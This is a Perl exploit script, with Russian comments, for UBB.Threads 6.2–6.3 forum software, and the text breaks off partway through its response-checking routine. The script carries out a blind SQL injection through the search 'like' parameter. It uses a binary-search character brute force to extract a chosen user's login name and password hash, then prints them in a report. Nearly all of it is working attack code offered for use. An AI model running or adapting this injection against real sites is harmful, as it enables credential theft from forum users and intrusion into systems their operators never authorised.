#!/usr/bin/perl use LWP::UserAgent; # UBB.Threads 6.2.* - 6.3.* exploit # with one char brute technique # by 1dt.w0lf // r57 $path = $ARGV[0]; $username = $ARGV[1]; $s_num = 1; $n=0; $|++; if (@ARGV < 2) { &usage; } print "Please wait...\r\n"; print "["; while(1) { # начинаем перебор с полного диапазона &found(0,122); # если возвращенный код 0 значит дошли до конца строки и выводим полученный результат if ($char=="0") { print "]\r\n\r\n"; # разделяем полученную строку на логин и пароль ($res1,$res2)=split(":",$allchar); # print "------------------x REPORT x-------------------\r\n"; print " Username: $username\r\n"; print " Login Name: $res1\r\n"; print " Password Hash: $res2\r\n"; print "------------------x REPORT x-------------------\r\n"; print "total requests: $n\r\n"; exit(); } else { # преобразуем полученный код в символ и добавляем его к строке результата print "|"; $allchar .= chr($char); } # увеличиваем позицию символа на единицу и продолжаем перебор $s_num++; } sub found($$) { # определяем переданный диапазон my $fmin = $_[0]; my $fmax = $_[1]; # если диапазон менее 5 то переходим к перебору if (($fmax-$fmin)<5) { $char=&crack($fmin,$fmax); return $char; } # определяем центр диапазона $r = int($fmax - ($fmax-$fmin)/2); # делаем условие $check = ">$r"; # и проверяем условие, в зависимости от результата рекурсивно вызываем функцию с новым диапазоном if ( &check($check) ) { &found($r,$fmax); } else { &found($fmin,$r+1); } } sub crack($$) { # определяем переданный диапазон my $cmin = $_[0]; my $cmax = $_[1]; $i = $cmin; # и проходим по каждому значению из диапазона while ($i<$cmax) { # делаем условие $crcheck = "=$i"; # проверяем его if ( &check($crcheck) ) { return $i; } $i++; } return; } sub check($) { # увеличиваем количество запросов $n++; # определяем условие $ccheck = $_[0]; # создаем http запрос к серверу $http_query = $path."?Cat=&page=1&like=".$username."' AND ascii(substring(CONCAT(U_LoginName,CHAR(58),U_Password),".$s_num.",1))".$ccheck." /*"; # Если вы хотите видеть все запросы отправляемые к скрипту # то расскоментируйте следующую строку # print "\r\n $http_query \r\n"; $mcb_reguest = LWP::UserAgent->new() or die; # получаем ответ сервера $res = $mcb_reguest->post($http_query); @results = $res->content; # проверяем ответ сервера на наличие строки foreach $result(@results) { if ($result =~ /